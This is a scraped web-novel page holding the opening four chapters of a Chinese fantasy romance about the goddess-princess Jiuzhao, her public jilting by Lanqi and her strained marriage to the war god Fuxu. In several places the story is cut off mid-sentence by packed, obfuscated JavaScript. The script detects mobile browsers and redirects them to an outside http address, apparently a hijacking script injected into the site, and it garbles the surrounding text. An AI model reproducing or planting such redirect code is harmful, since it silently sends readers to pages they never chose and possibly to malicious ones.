《万人嫌神姬她想开了》 1. 第1章 九昭又做梦了。 梦里是重复无数次的过去景象。 她梦见四千五百年前的初春,她一生迄今为止最重要的日子。 明明是大好的喜日,她却追着兰祁来到发落罪仙的长生台前。兰祁本命武器烈霄的雪亮剑锋横亘在他们之间,剑上映出她的烈烈嫁衣,以及兰祁那张风仪无双,却淡漠疏离的脸。 “九昭神姬,我厌恶你多年——” 他冷然看她,“若非念及帝座三万年养育之恩,我怎会答应同你成婚!” 呼斥声惊雷般在九昭耳畔炸响,亦与三清天常年和畅的微风夹杂在一起,传到立于云端观礼的漫天神佛耳中去。 九昭不敢去看他们的表情,只能在一片窒息里,仰面望向头顶的无尽苍穹。 天际彩云漫织,华光耀赫,是她三万岁的人生中见过的最美好场景。 是了。 今天是她的成人礼,也是她与自幼相识的兰祁神君合卺的上时良辰。 在吉时到来的三刻之前,她还在以密音同兰祁喜气洋洋私语:“兰祁哥哥,契阔诀成,你以后就是本殿的人啦,本殿会护你、敬你、爱你,从前有什么不开心的事,你我就都忘了吧!” 她是三清天神帝唯一的女儿。 哪怕地位高如上神四王,也只有叩拜尊迎她的道理。 她自恃高贵,从不肯放下身段对他人温言软语,能够唤出一声“兰祁哥哥”,已属不易。 可是—— 可是一切,怎么会变成这副模样? 剑气森寒,九昭回神,胸腔中的心脏鼓噪不息。 不解、茫然、困惑、怀疑……万般阴霾切碎她的喜悦,又骤变成女君自尊受到挑衅的愤怒。 翻腾如海的力量涌出灵台。 她步步迫近兰祁,难以置信地质问:“你若不愿同我成婚,我绝不会强迫于你——兰祁、兰祁,你何必在三清天众神面前这般羞辱我?!” 兰祁持剑的手掌很稳,寒声呵斥—— “你可知晓,何谓人必自侮而后人侮之? “可恨你贵为储君,却不思进取,将三清天这浩浩穹宇当做狎游之所,整日仗势欺人,纵我是你名义上的兄长,你也打骂由心,轻狂恣意,从不予我半分尊重,只将我看作是三清天最低等轻贱的奴役—— “本以为你年岁尚轻,总归会成熟识礼,可这三万年以来,你每每令我寒心失望,哪怕今朝是你成人之日,你的言行举止,也无半点思图悔悟之情。 “是可忍孰不可忍,我无论如何也难以说服自己同你合卺!” 是了。 这样的评价,不仅来自兰祁。 在三清天的隐秘处,在与自己不对盘的神女仙娥口中,九昭听到过无数次。 从前她不以为意,只当作他人在艳羡嫉恨她。 却未曾料到,与她相伴三万年,对她事事包容、处处让步的兰祁,也是这么想的。 从他利若刀刃的目光里,九昭无师自通地明白了,为何他要把这些折辱言辞留至此刻。 她最看重自身颜面。 兰祁偏偏让她成为了三清天彻头彻尾的笑话。 传闻由仙升神时要经历的雷劫,痛楚肖似剥皮凌迟,五脏俱焚。 此时此刻,她也得以体会一二。 兰祁又道:“九昭神姬,你可还有话要反驳? “若无,你我今日情断!我自知有愧帝座养育恩情,甘愿削去神位,剔除灵骨—— “永世不再成仙!!” 他手腕翻转,剑身自横为竖,劈出磅礴神力。 剑气扫过,祈愿夫妻恩爱的并蒂芙蓉钗从九昭的鬓边滑落,消失在云端,她精心挽起的飞天发髻也因此散乱。 而眼前那抹修长的身影快步后退,逐渐被长生台下方狂涌而上的罡风裹挟。 用以震慑的烈霄长剑自指尖消失,兰祁仰面直上,展开双臂,唇畔带着终于解脱的弧度。 在他跌下长生台的那一刻,九昭再也无法维持神姬应有的风仪气度。 她丢掉华美无匹的臂挽披帛,疾步扑至长生台边,与身形急速远去的兰祁对望。 “为什么、为什么……难道你我之间,从头到尾都没有一丝情意吗!” 无人回答。 视野的尽头,兰祁竟闭上双目,仿佛厌弃到不愿再多看她一眼! 九昭的胸腔倏忽翻涌起一阵气息。 腥甜的液体冲破齿关,一抹心头血喷洒而出,同样挥散在罡风之中。 好疼。 痛楚深入骨髓,九昭无力伏倒下去。 愤怒仿佛随着仙力的溃散一同消失了。 只剩下如同亿万针尖密密扎下,让她几乎喘不过气的情绪。 梦境消散间,她却看见快被罡风吞没的兰祁伸手接住血液。 勾起唇角,微微笑了。 …… “殿下,殿下!” “午时将至,您快醒醒!” 隔着锦帷,女婢焦急的呼唤一叠声传来。 九昭睁开眼睛,抬指抹过眼尾,恍觉一抹湿热泪痕。 四千五百年过去,她以为自己什么都忘了,不成想又在梦中为兰祁哭泣。 不想被人发现这副软弱情态,一阵隐秘仙光过后,她指腹眼梢的湿润不复踪影。 她撩开层层掩落的锦帷,带着初醒的不耐望向女婢,睥睨神态一如往常:“这般吵吵闹闹的做什么?叫外人听见,还以为我常曦殿半点规矩也无。” 常曦殿是九昭的住处,自然不会有她口中的外人。 如此一说也不过是找个由头训斥,好掩盖方才的失态。 两位女婢跪地,一面告罪一面拜伏。 其中一个低声说:“殿下,扶胥上神已经候在常曦殿外……朱映姐姐见您迟迟未醒,便开启殿门,先行过去侍奉了。” 九昭一顿:“谁?” 女婢犹豫少顷,重复:“您的王夫,扶胥上神。” 九昭已经有五百年未曾听见这个名字,眼下还有些不真切。 沉默一息后,她猛地攥紧身畔散落的锦被:“他怎么回来了?他竟还敢再踏进这常曦殿!” “殿、殿下息怒,现在还不是找上神麻烦的时候——” 从说出“王夫”二字起,女婢们就做好了九昭会发怒的准备,战战兢兢地劝说,“扶胥上神镇守神魔边界五百年,如今得胜归来,帝座在璇玑宫设 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918045|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宴庆贺,料想上神是特来邀您一起赴宴。” 攥着锦被的手指一僵,九昭不自在地问:“璇玑宫设宴,本殿怎么不知道?” 女婢认命阖了阖眼:“一个月前帝座就遣人前来告知过,昨日就寝时朱映姐姐也提醒过您。” “……” 九昭尴尬。 九昭沉默。 九昭理不直气也壮。 她命人将床上的帷帐撩起,端坐在床中央扬声道:“那就让他进来。” …… 厚重殿门无声开启,一道玄黑身影逆着光走近。 百年未见,扶胥的容颜依旧。 眉峰冷,眼睛也冷,整个人仿佛用冰霜雕刻而成。 他在一丈开外停下,奉手长揖到底:“臣扶胥见过神姬殿下。” 说是夫妻,他们之间的关系甚至不如九昭和两个女婢亲近。 见着他,一些难堪和欢喜交织的记忆莫名浮现在脑海中,九昭本微微敞开的双腿瞬间用力并在一起,她也不叫扶胥免礼,只维持着下颌半抬的姿势,冷淡审视对方。 扶胥又继续说道:“臣来时得神绣局托付,为殿下献上赴宴要穿的礼服。” 他信手一指,神力涌动,刻有九曜金乌的桁架乍现在九昭身侧。 数道光华交织,一件赤红色的华美长袍自上如瀑布般倾泻而落。 九昭身怀母亲的凤凰真血,天生喜爱一切亮烈夺目的事物。 她的长相明媚艳丽,出挑的颜色穿在她身上,更能彰显风华。 这件由神绣局制作了一个月才大成的礼服,放在往常足以哄得她绽放笑靥——然而此刻,她的一捧芙蓉面上却没有露出多少惊喜之色。 皱拢的眉峰沉沉压着阴火闪烁的瞳孔,她潦草扫过礼服,重新将注意力放在扶胥身上。 “除了礼服,你就没有其他话要对本殿说?” 她不冷不热问询着。 扶胥已重新挺直身体。 两人的姿势也从九昭平视于他,变成他占据高处,俯落静寂无波的眸光。 不像看待举案齐眉的妻子,更不似观仰一心侍奉的君主。 他用对待生人的态度,缓缓启唇:“无。” 早就预料到是这样的结果,她还愚蠢到问出这个自取其辱的问题,妄想求得一个答案。 五百年前,他们成婚不到一月,他便毫无征兆地请命奔赴神魔交界。 眼下归来见她,自然更不需要搪塞一个借口。 兰祁悔婚辱她,扶胥迎娶了她,却也不知珍惜。 既然如此,她又何必给他们这个脸面,强行在外人面前扮出夫妻恩爱的假象? 九昭怒极反笑:“很好,好一个无话可说。” 扶胥大败魔界,是有功之臣。她为君,不可无端降下惩罚。 可惩罚不了人,难道还惩罚不了别的? 她偏转目光,将主意打到扶胥送来的赤红礼服上。 以为亲自送件礼服过来,她就能不计前嫌? 她今天就要让扶胥知晓,这世界上没有如此便宜的事! 这般想着,九昭冷冷勾起唇角,指尖半捻凝结一丝仙力,趁扶胥不备朝桁架疾射而去。 2. 第2章 仙力携烈焰之势,朝挂在桁架上的华服猛扑过去。 九昭无声弯起唇角,坐等看衣服被毁之后,扶胥面上流露的难堪神情。 然而—— 下一秒,幻想中的表情却出现在她的脸上。 轻飘的礼服上倏忽亮起一道青蓝神光,那神光形成的防御屏障径直将她的仙术弹射开,阴差阳错之下,还击中了窗旁漆木柜上她最喜爱的错彩花瓶。 哗啦一声,花瓶四分五裂。 九昭愣在原地,瞪大一双美眸—— 她不理解为何一件神绣局出品的小小衣袍上,会蕴有她父亲三清天神帝的力量。 相比九昭的错愕,早就预料到她招数的扶胥平静开口:“帝座命令神绣局将礼服托付给臣,帝座口谕,他叮嘱之事不必提前告知殿下,待殿下由着性子闹上一遭,瞧见礼服上的神术禁制,自会明白他的用意。” 九昭:“……” 什么帝座口谕不必将此事提前告知,他分明就是打算看自己的笑话。 黑心肝的烂木头! 自做梦到苏醒,九昭事事不顺,自是心火难消。 她不肯跟扶胥说话,只盯住花瓶碎片不放,余光却冷不丁被礼服下摆若隐若现的绣纹吸引。 那是一大片以银线密绣的扶胥花。 扶胥的真身是天地间独一无二的神木。 而扶胥花则是其上万年才开一朵的赐福之花,传闻谁能得到扶胥馈赠此花,心中的一个愿望就可以成真。神帝命神绣局以扶胥花点缀九昭的赴宴礼服,其中用意不言而喻。 神帝了解她的记仇性子,也清楚五百年前扶胥不告而别的往事,今朝扶胥得胜归来,夫妻既不合离,此后就要继续相处下去。有扶胥率先赠衣低头,神帝期冀可以消融他们之间的前嫌。 父神为父亦为君。 如此良苦用心,九昭不能不从。 更何况开宴的时辰在即。 她一咬牙,恶声恶气地唤进守在殿外的贴身女婢:“来侍奉本宫穿衣!” “是。”女婢们松了口气,进殿后,一人取下礼服,一人搀扶九昭站起。 扶胥前来的任务完成,他秉承非礼勿视的训言垂头,再次长揖:“那臣先出去等候。” “慢着。”九昭站在一人高的灵镜前,目不斜视,“本宫有说过让你出去吗?” 扶胥道:“殿下更衣,臣在此处实属不妥,有冒犯女君之疑。” 对方义正词严的道理入耳,一计不成的九昭又生一计。 她用涂着蔻丹的指甲拨弄了一下腰间的碧玉绦带,懒散道:“你既以女君相称,就应该明白夫妻之上更有君臣,本宫为君,你为臣,本宫叫你做什么,你听从就是了,岂有反驳之理?” 他可以拿神帝来压她,她自然也可以搬出相同的理由。 果然,迟疑过后,扶胥应道:“是。” 九昭犹嫌不足,她流转眼波,给身边的女婢们使了个眼色,而后合袖拢于身前,微微抬起下巴,发号施令:“傻站在那里做什么?扶胥你过来,替本宫整理礼服下摆。” “……” 女婢们面面相觑,一时不敢说话。 方才殿门半开,她们不是没有听见九昭欲毁礼服无果的过程。 却不料骄蛮的主子又想出了别的法子来折辱自己的王夫。 她们大气不敢出,生怕扶胥拒绝,九昭发怒,今日的宴会难成,两人在常曦殿打起架来。 只是不知为何,在九昭即将出声催促之际,那静立原地的冷峻上神,忽然迈开了脚步。 他来到九昭面前,平素半垂以示敬顺的眼睛抬起,与暗自得意的九昭对视一瞬,紧接着单膝跪地,将她堆在一处的逶迤下摆,一寸一寸,缓缓抚平。 九昭自上而下俯视扶胥,忽然觉得这身与她当日所穿婚衣相同色调的礼服,不再那么碍眼。 自神帝颁布合婚告令,他们曾以未婚夫妻相处一千年。 她法力不如扶胥,威望人心也不如扶胥。 但只要使出君君臣臣的手段,扶胥十有八九总会屈服。 不想放到五百年未见的现今,这套依旧如此好用。 九昭愈发窃喜,趁着对方正专心致志做事,她变本加厉,踩在长毯上的赤/裸左脚竟悄然抬起,直直踩进扶胥半曲掌心。 肌肤相触的刹那,享受着羞辱对方乐趣的九昭却不适地止住呼吸。 她感觉到原本放松的手掌肌肉变得僵硬,而常年行军练兵的生涯,更是在那只修长清瘦的大手上留下层薄茧——扶胥不似三清天其他神仙爱美,从不曾刻意用术法消除身上印记。 茧子磨着她敏感的脚底,粗糙之外,平添几分难耐的痒意。 堂堂上神的手,还比不上她脚下踩着的长毯舒适! 九昭咬了咬嘴唇,在羞辱到底还是见好就收两个选择间犹豫。 那只无措僵直的大手却突地收紧五指,将她趾间涂着同色蔻丹,小巧白皙的左脚用力攥在掌心。 偷鸡不成蚀把米。 几分痛楚,几分压迫齐齐传来,九昭哀叫一声,想也不想弯下腰去推搡起扶胥的肩膀。 “放肆! “扶胥,你那么用力做什么!” 不过情急之下的举动,她没来得及使用法术,那道可怜的力道比蜉蝣撼树还不如。 而作为被又推又骂的另一方,扶胥英俊的眉眼不见任何压抑怒色,他稳稳握紧九昭被迫抬高的脚掌,恭敬而低沉的语调一如既往:“殿下要臣侍奉穿鞋,臣遵命。” …… 羞辱,有的时候是一种行为。 但更多时候,却是一种心态。 见自己以君命压制对方侍候自己穿鞋袜,扶胥也没有显露任何气急败坏的神色,在他这里吃瘪吃怕了的九昭只能悻悻收手。 接下来的半个时辰,她停止作妖,只是在穿上鞋后过河拆桥,把扶胥赶出了寝殿。 华服加身,飞霞妆成。 九昭再度与扶胥并肩,已是在璇玑宫神帝的座下。 三清天以左为尊,她占据左首,而这场庆功宴的主角,则端坐右侧。 扶胥身上依旧是来见她时的一席黑衣。 剑眉如鬓,目似寒星,姿态岿然地敬受着群仙的称贺。 九昭一直都认为他是个奇怪的人,身为三清天的将军统领,居神帝赐封的五位上神之首,明明走到哪里,哪里就会立刻成为一片利欲交织的浮华场,他却过得比任何人都要自律清苦。 在彼此没有相看两相厌之前,九昭曾造访过他在二清天的居所辟蒙宫。 那里的环境之空旷,摆设之简陋,甚至还不如一清天中稍有头脸的下阶神仙府邸。 罢了。 不论再如何看淡身外俗物,他到底不比她身处这场宴会,更像个格格不入的局外人。 宴上,众神赞美神帝知人善任,天纵英明。提及三清天海晏河清,盛世太平时,也不忘称赞扶胥年少成名,天生神力,在三清天对抗焚业海的大小战役中军功卓著,不愧为神帝钦定的上神第一人。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918046|160292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他们用翻来覆去的溢美之词称颂着坐于高台上的二人。 却在不慎提到九昭时,打着哈哈,夸奖她身份高贵,有身为天帝的父亲和位至战神的夫君。 冗长的废话简而言之概括—— 神帝、扶胥高瞻远瞩、力拔超群、刚正不阿、光明磊落……样样都好。 而她九昭也好。 好就好在投对了胎,嫁对了人。 九昭用尾指掏了掏耳朵,将他们的酸言酸语都当个屁放了,只一心装出自己领悟了神帝的良苦用心,有在努力缓和夫妻关系——或眼神威逼,或言辞利诱,她和扶胥言笑晏晏,共饮数杯。 扶胥配合归配合,但无人察觉之处,同她对视的眼神又仿佛在看扶不上墙的烂泥。 好容易捱到宴会结束,九昭硬是喝红了一张雪白面孔。 受邀的宾客们陆陆续续散去,唯独扶胥被神帝留下议事。 九昭本想先行离开,神帝却命她等候扶胥一起返回二清天。 坐在席位上吃了几口早已凉透的菜肴,她生等着殿内的神仙全部离去,实在百无聊赖,便唤来陪同的女婢,一同离开内殿,打算前往璇玑宫的小花园吹风赏景,散散酒气。 行至错落掩映的花木前时,更深处传来几道叽叽喳喳的女声—— “真不可思议,五百年前一成婚就逃去神魔边界的扶胥上神,如今再归来,竟也能跟九昭神姬有说有笑地一同赴宴了……要是不知晓前情,只怕还以为他们是一对恩爱夫妻?” “有说有笑是你自己臆想出来的吧?宴上神姬敬酒,上神连一个多余的眼神也没给——” “不过说实在的,我好生佩服神姬殿下,被兰祁神君当众悔婚羞辱不说,和扶胥上神夫妻不睦的消息也闹得三清天人尽皆知,她竟还能装作若无其事。要是我,早就羞得再不见人了!” “诶,你怎么还叫兰祁神君,快快改了称呼,叫人听见可不得了!” “知道啦知道啦,哎……谁能想到他为了不娶神姬,宁愿堕入焚业海成为新的魔尊……” 年轻的女声们如同啭啼春光的黄莺,话里有话地议论着九昭和兰祁、扶胥的关系。 一通揶揄完,她们才想起这个团体的核心沉默已久,未曾开口。 于是又讨好地扬起笑脸,一迭声唤着那人的名字:“滢罗滢罗,你怎么不说话呀?” “要知道我们说这许多,俱是因为当年西神王分明有意促成你同扶胥上神的天作之合,却一朝不慎被九昭神姬率先抢了去,替你抱不平呢!” 乍闻滢罗的名字,陪在九昭身边的女婢对视一眼,下意识咽了口唾沫。 倘若是其他不知名的女仙还好。 九昭顶多把她们叫出来施加些不大不小的惩罚,或是骂到哭鼻子。 可偏偏这群人里有滢罗——作为三清天四神王之一,西海鲛人族流戈王的爱女,享有宗姬封号,在一众出身显赫的贵女之间,仅比九昭低了一阶的滢罗。 她们曾经在三清天的长烨学宫里同吃、同住、同行,后来数万年里又成为了最大的对头。 那些聒噪的女仙们无足轻重,九昭最在意的是滢罗会如何作答。 滢罗不开口,她也不肯离开。 几转呼吸后,她终于听见一道妙曼嗓音:“这里是帝座的璇玑宫,你们这般胡乱议论九昭殿下成何体统?另则,不论前尘往事如何,如今已是九昭殿下和扶胥上神结成了夫妇——夫妇本为一体,哪怕心底再勉强,众仙面前,总要给彼此留有几分余地。” 3. 第3章 滢罗的话,九昭没有思考太多。 在她看来,这些都是对方惯用的招数。 发表几句似是而非的感叹,也不点明一场夫妻究竟是谁心底不情愿。 说一千道一万都是为了贬低自己,偏又要扮演善良得体、宽和大度。 五百年未见,滢罗还是这副讨厌的样子。 她受骗过一次,就不会被骗第二次。 如此良机在前,九昭打定主意想要出气。 她眉峰一轩,卷起袖子大步一迈,做出准备发难的姿态,又被女婢急急揽了下来。 “殿下,里面那群西海仙子最喜搬弄是非,倘若宴会前脚结束,后脚您便与她们争执起来,恐怕明日整个三清天又会遍布您仗势欺人的流言……” “人言可畏啊殿下——” 女婢用了密音入耳之术,话说得又快又急,唯恐九昭不耐烦听完就要去干架。 但事实证明,听不听完,九昭都不会将她的劝告放在心上。 她一把扯开女婢拽住衣袖的手,旋即重重咳嗽出声。 花丛深处弹指间万籁俱寂。 九昭也不催促,傲慢地挺起肩膀,半挽披帛,等候她们来与自己见礼。 半息后,不知是谁率先反应,阒然的林木中传来衣料窸窣的动静。 一道藕荷色身影缓缓步出,带领二三女仙朝九昭长揖到底:“滢罗见过神姬殿下。” 伙同小团体背后说人坏话被抓,滢罗清丽的面孔不见惶恐之色。 九昭心底暗骂一句厚脸皮,乜着双眼凉凉道:“倒是许久不见。” 滢罗春水般的眼波微荡,柔声回答:“殿下说的是,不过滢罗闻听殿下言语之间神采奕奕,料想在未见的这段日子里,殿下应当诸事皆安,称心如意。” 诸事皆安。 称心如意。 旁人或许不明白她为何深居简出,滢罗这等常来三清天做客的近臣之女又岂会不知。 强压蛰伏的怒气,在对方明扬暗抑的问候声中节节攀升。 九昭眯起眼梢,缓慢磨了磨牙尖,浑身散发出危险的气息:“本殿是否如意不劳滢罗宗姬挂心,只是璇玑宫宴已毕,尔等不告辞离开,在小花园里逗留徘徊是为何意?” 滢罗:“宴上浣魄仙子不慎脏了衣裙,想寻个僻静之所弄干净再走,故而臣等在此陪同。” “噢。” 九昭环视眼前女仙一圈,问道,“哪个是浣魄?” 被点到名字的女仙声音慌慌张张响起:“回殿下,浣魄正是小仙的名讳。” 九昭对她很有印象。 方才花丛里的一场背后排揎,正是这个浣魄说得最起劲。 两道眸光集中在女仙身上,她看对方从人群末尾强装镇定上前,表情是欲盖弥彰的心虚。 浣魄年纪尚小,听过九昭无数恶名,却未真正有缘相见。 她不敢抬头打量九昭的容貌,只凭借刻板印象,脑中闪过无数自己受罚的画面。 忐忑之下,她作势举起的双手一抖,竟然行错了礼。 ……蠢东西。 如此错上加错,就算想不受罚也很难说得过去。 九昭装模作样叹了口气:“想是长久未现身于人前,倒叫众仙忘了还有本殿这位神姬,连最基本的问安礼仪都能出错,究竟是浣魄仙子不把本殿放在眼里,还是整个西海的规矩如此?” 话至最后,九昭的语调隐见凌厉。 这顶高帽子扣下来,滢罗立刻侧头看向发抖的浣魄:“还不与殿下重新见礼!” 九昭岂会这般轻易将错处放下。 “且慢。” 她喝止浣魄的动作,垂下眼帘欣赏着指甲上的蔻丹:“既已出错,本殿就有责任指点一下你们西海的礼仪规矩,否则将来在我父神那里闹了笑话,只会叫人误以为是西海有不臣之心。” 滢罗微微蹙眉:“殿下以为如何……” 九昭一个眼风扫过,不论内里如何,在外人面前从来与她同心的女婢立刻松开搀扶她的手。 她做出示范的架势。 正襟下跪,双手交叠于地,面色严肃地叩首相触:“西海众仙,见过帝姬殿下。” 九昭拍手笑道:“正是如此——你们西海的礼仪,竟然比不上本殿身边的侍女。” 三清天规矩严明,下臣觐见君上,最正式的礼仪便为叩首大礼。 只不过神帝性格宽仁,除却祭告天地的大节庆,其他时候都会赐予简略礼仪的恩赏。是而有头脸些的神仙平日只需长揖即可——在节庆之外行此礼,不是身份实在低微,就是犯了错处。 浣魄乃西海上阶金仙之女,心高气傲,自觉被九昭这般要求是受了屈辱。 她猛地抬起头来,晶莹的泪光在眼眶中打转。 九昭心肠坚硬,并不吃她这套,转过脸悠悠观望花园风景,另旁的女婢代她开口讥讽:“浣魄仙子不愧出身西海,浑身上下竟都是水做的,动不动就掉眼泪珠子。” 浣魄瞪圆眼睛:“你!” 滢罗旁观片刻,见事态愈演愈烈,连忙率众下跪请罪:“殿下,臣——” 这厢正在僵持,那头另几道人影逐渐走近。 议完交战之事,扶胥随行神帝身后,见九昭面前跪了一地女仙。 领头者,正是那曾经她父亲隐晦透露过结亲意向的滢罗。 “昭儿,你这是在做什么?” 见到一向疼爱自己的父亲,九昭勾起笑容扬声问安:“昭儿拜见父神!” 她小跑过来凑在神帝手畔,将扶胥整个挤开,裙摆上的扶胥花漫漫扫过他的脚背,“回父神的话,西海的浣魄仙子问安于儿臣,却不慎行错了礼,所以儿臣在此,提点了她们几句。” 扶胥站定,闻言眉心跳了一跳。 犯错的浣魄未跪,其他人却为了平息九昭的怒火通通下跪。 这若是传出去,着实—— 然而神帝在前,没有他开口的余地。 这时,那倔强不跪的浣魄,突兀扑通一声跪地伏倒:“所有错处,皆系浣魄一人所为,还请殿下不要为难西海的其他仙子们,浣魄任打任罚,无怨无悔!” 说完,她不顾在场其他人的神色变化,开始砰砰磕头。 事情的对错原本尚未下定义,只等神帝裁决。 浣魄如此行径,却隐隐将风向变了一层意味。 “你乔张做致的干什么!本殿不过——” 九昭看不惯她的矫情做派,扬声就要辩解,又被神帝打断:“好了,昭儿。” 唤出九昭乳名,神帝没有继续说下来,他看着浣魄足足磕头五十下,才若无其事道:“既百年未见,西海众仙对你行次大礼也是应该的,礼数已全,你们就早些离开吧,别叫神王久等。” 神帝这般言辞,无非要将矛盾大事化小小事化了。 浣魄磕得额头红肿,却只得到最差劲的结果,自然不甘。 她在家里口无遮拦惯了,含着热泪又想控诉九昭的罪名。 然而未等张口,一道灵光闪过,她上下两片嘴唇就被禁言术紧紧黏合在一起。 释放仙术的滢罗用力握紧试图挣扎的浣魄手腕,对于神帝的偏袒和搪塞毫无不满。她偏过头,以眼神致礼扶胥,又朝九昭露出一抹浅淡柔和的笑意,接着恭敬道:“那臣等告退。” …… 乘坐华美的天辇返回二清天的途中,九昭心情好了许多。 情路不顺又怎样。 就算再来一百个男人,也不会有父神待她更好。 神帝一开口,硬是将浣魄口中九昭施加的惩罚性质扭转,变成西海仙族应对储君大礼问安。那原本只是惺惺作态的磕头,不得到上位者赦免,也只能落到实处,直把她的额头磕出一片红。 九昭回想着浣魄的窘样,忍不住轻笑出声。 她一手撑住下颌,一手掀开天辇的帘缦,哼着歌打量满天绮丽云霞。 一片静谧祥和里,身旁的人冷不丁开口:“殿下,你不该如此。” “神帝向来宽和待下,却为了你的事多行偏心袒护之举,长此以往,众仙必定心生不满。” 到二清天的路程 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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扳回一局后,她收起没有正形的态度,睨着他道:“你既知是西海仙族犯错,又何必说什么父神偏心于我?有错当罚,有功当赏,从来人之常情,父神何过之有,本殿何过之有? “人生立世,须知道理并非只需自己认同,更需多数人认同,行为处事,要叫人心服口服——臣观那浣魄离开时有忿忿之意,此次回归,想西海之内,又会兴起殿下跋扈传闻。 “跋扈就跋扈,本殿自问光明磊落,不似那等小人爱背后嚼舌。 “再者,不满又如何,难道他们还敢造反不成?” 九昭最讨厌的就是大道理,连串反问直让扶胥落入无言之地。 她等候着扶胥的回击,但天辇外常曦殿的殿宇将近,扶胥都没有再开口吐出只言片语。 熟悉的、话不投机的神态笼罩在他挺括眉宇间,直至九昭耐性告罄,起身走下天辇,他才垂首仿佛自语:“你这般生性,睚眦必报,将来要如何统领三清天,做开明之君?” “父神与天同寿,再过十万年考虑此事也来得及。” 九昭回答得很快,并无任何深思熟虑的成分。 早在几千年前,她就与神帝商量过,自己无心帝位,将来不如由王夫统御三清天。 神帝没有答应,也没有拒绝。 只道她年岁还小,且多走几步看看再做打算。 这个问题,是她和神帝间约定不诉予第三人知晓的秘密,没有和扶胥言明的必要。 而她这副不学无术且拒绝进步的模样,又一次叫扶胥额头青筋直迸。 言语间,两人一同下了天辇,九昭知晓他的习惯,又明知故问:“话不投机半句多,料想扶胥上神应该也不愿继续同本殿待在一处吧?需不需要本殿派天辇送一送您?” “不用。” 扶胥看也不看她,转过身去丢下两个无比冷漠的字眼,就要驱动神术离开。 然而神术释放的刹那,未等身躯散为粼粼碎晶消散—— 他突地整个人倒了下去。 4. 第4章 扶胥倒在常曦殿前,把九昭之外的所有人吓得魂飞魄散。 女婢仙侍们惊呼的惊呼,搀扶的搀扶,整个场面登时化作闹哄哄的菜市场。 就连自殿庭内走出,过来迎接她的朱映也皱起眉毛,低声询问这是怎么了。 九昭满脸无辜。 只差在额头张贴六个大字——“本殿怎么知道”。 五百年前自己说过的难听话更多,也不见这张死人脸有什么特别的反应。 怎么如今前往神魔交界走了一遭,承受能力变低了。 竟然能被她气得晕过去? 她和朱映尚在大眼瞪小眼,那头女婢无措地喊起来:“哎呀,上神的身上正在泛黑气!” 黑气? 九昭这才意识到事情的严重性,三步并作两步,来到昏倒的扶胥身前。 只见一层薄薄的黑雾游弋这具精干身躯之上,如同剧毒的蛇类,散发着初感炽热,入骨阴寒的不祥气息。九昭凝神查看,又发觉那黑雾内里,还存在着一缕似有若无的赤红颜色。 黑为魔气。 赤红为属性火灵。 三界之中,唯有三清天的神仙力量受金木水火土五种属性影响。 凡间修士的法光为白,魔界妖魔的法光为黑。 一切井然分明。 放眼魔界,使出红黑之气的,唯有在几万年前叛变三清天的凤凰一族。 扶胥是战无不胜的上神,能够伤到他的绝非等闲凤族。 想到此处,九昭连忙输入仙力,在他的体内游走一遭。 所幸受他们缔结的契阔诀影响,身处昏迷状态的扶胥没有抗拒她的力量入体。 游走一周天之后,九昭的表情严肃起来。 缘由只在于,她居然在扶胥的身体里,感受到了凤凰真血灼烧的气息。 凤凰真血,是只流淌在凤凰族首领身上的血脉,自上古以来就被一分为二。每任命定的首领皆为一母同胞的双生子,而唯有他们结合,才能继续诞生凤凰族的下任首领。 九昭的母亲,神后太婀便是凤凰族前任女君,可惜她生性倔强,挣脱凤凰族天命的束缚,义无反顾爱上当时身为三清天储君的神帝嗣辰,将与她从小相伴,满腔爱意的胞弟巫劭抛弃。 抛弃是小,凤凰族首领无后为大。 除非身怀凤凰真血之人身死,血脉才会重新随机出现在凤凰族新生的子民之中。 因爱成恨的巫劭煽动凤凰族叛天,成为新任魔尊,后起兵失败被擒,三清天为了不让真血神力被坠入魔界的凤凰族重新拥有,因此将巫劭湮灭神识,以活死人的状态永镇于无日渊。 真血的同源力量过于熟悉,哪怕九昭慎而再慎,重新探查多少回,都不会将其认错。 她心想,不提巫劭,这世间唯一的凤凰真血,随着母神育子来到了自己的身上。 可扶胥体内的又是怎么回事? 迷惘之下,九昭命人将扶胥扶到侧殿,自己则打算前往三清天寻求父神解惑。 兹事体大,她也无心使用天辇这等声势浩大但行速不快的座驾,只用仙力凭空生出一道转送法阵,身形就要消失原地。 “九昭殿下——” 二清天的渺渺云端之外,又传来一道呼唤的女声。 九昭脚步一滞,闻声抬头望去。 来者步履匆匆,再一眨眼已出现在她身前问安行礼:“臣下见过神姬。” “丹曛姑姑,您怎么来了?” 聚散的仙灵消散于天地间,神帝近身仙官丹曛的到来,阻止了九昭动身前往的念头。 或许,不耗费时间,这件事直接问父神最信赖的丹曛也一样。 心思转动间,九昭抬手和丹曛做了异口同声的命令:“你们都下去。” “你们都下去——” “姑姑,父神也有事要说于我听?” 一个“也”字叫丹曛抬起头来打量九昭一眼,不过她紧急奉命而来,无心问询九昭有何事要找神帝,只问:“殿下,扶胥上神是否已经回到辟蒙宫?” 